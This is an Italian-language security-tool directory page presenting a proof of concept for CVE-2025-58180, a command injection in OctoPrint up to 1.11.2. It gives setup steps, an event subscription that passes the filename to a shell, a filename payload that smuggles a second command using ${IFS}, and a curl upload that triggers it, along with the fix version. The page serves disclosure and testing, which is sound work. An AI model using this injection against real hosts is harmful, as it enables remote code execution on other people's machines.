Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-58180 — In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento dei file (ad esempio, una chiave API valida o una sessione) può creare un nome file malevolo che bypassa la sanitizzazione e viene successivamente eseguito dal sistema di eventi di OctoPrint, portando all'esecuzione remota di codice (RCE) sull'host. | Kitploit
Strumenti/GitHubGitHub/prabhatverma47/cve-2025-58180
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Vedi Repository
11 mesi faNon ancora revisionato

In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento dei file (ad esempio, una chiave API valida o una sessione) può creare un nome file malevolo che bypassa la sanitizzazione e viene successivamente eseguito dal sistema di eventi di OctoPrint, portando all'esecuzione remota di codice (RCE) sull'host.

Condividi

CVE-2025-58180 RCE in OctoPrint attraverso nome file non sanificato nel caricamento file

In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento file (es. chiave API valida o sessione) può creare un nome file malevolo che bypassa la sanificazione e viene successivamente eseguito dal sistema eventi di OctoPrint, portando a esecuzione di codice remoto (RCE) sull'host


PoC: Passaggi per ricreare la vulnerabilità

Step 1: Informazioni sulla versione

Scaricata ultima release stabile: OctoPrint 1.11.2

image

Step 2: Avvia OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Apri http://127.0.0.1:5000 nel browser.
  • Segui la procedura guidata iniziale → crea un utente con impostazioni predefinite (disabilitati: connettività, anonimo, plugin).
  • Prendi la chiave API da Impostazioni → API → salva per dopo. image

Ferma il servizio OctoPrint una volta completati i passaggi precedenti.


Step 3: Configura la sottoscrizione agli eventi

Segui la documentazione sugli eventi di OctoPrint:

Modifica ~/.octoprint/config.yaml:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

Step 4: Crea un G-code di esempio

Crea /tmp/gcode/ok.gcode:

root@kitploit:~
; minimal gcode
G28
M105

Riavvia il servizio OctoPrint.


Step 5: Prova di concetto (PoC) RCE

  1. Esporta la chiave API:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. Verifica che il file non esista:
root@kitploit:~
ls -la /tmp/test123
  1. Crea il payload del nome file malevolo: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Spiegazione: ${IFS} è il separatore di campo interno (Internal Field Separator) della shell (di solito uno spazio). Bypassa la sanificazione quando viene iniettato.

  1. Invia la richiesta curl:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Verifica l'esecuzione:
root@kitploit:~
ls -la /tmp/test123
image

Se /tmp/test123 esiste, il comando iniettato è stato eseguito con successo → RCE confermata.


Spiegazione del flusso

root@kitploit:~
[Caricamento utente con nome file malevolo]
        │
        ▼
server/api/files.py → accetta nome file grezzo (i metacaratteri sopravvivono a sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} include caratteri grezzi
        │
        ▼
sottoscrittore comando di sistema → subprocess.check_call(..., shell=True)
        │
        ▼
[I metacaratteri shell iniettati vengono eseguiti come comandi del sistema operativo]

Riepilogo

Quando un file viene caricato:

  1. OctoPrint accetta il nome file (con sanificazione limitata).
  2. Attiva un evento FileAdded.
  3. Se i comandi di sistema sono sottoscritti a questo evento, il nome file grezzo (inclusi ;, ${IFS}, ecc.) viene passato a una shell.
  4. Questo permette ai comandi iniettati all'interno del nome file di essere eseguiti sull'host.

Risultato: Esecuzione di codice remoto (RCE) sul sistema host.

Riferimenti

  • CVE Assegnato:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Versione corretta: 1.11.3

Scarica lo strumento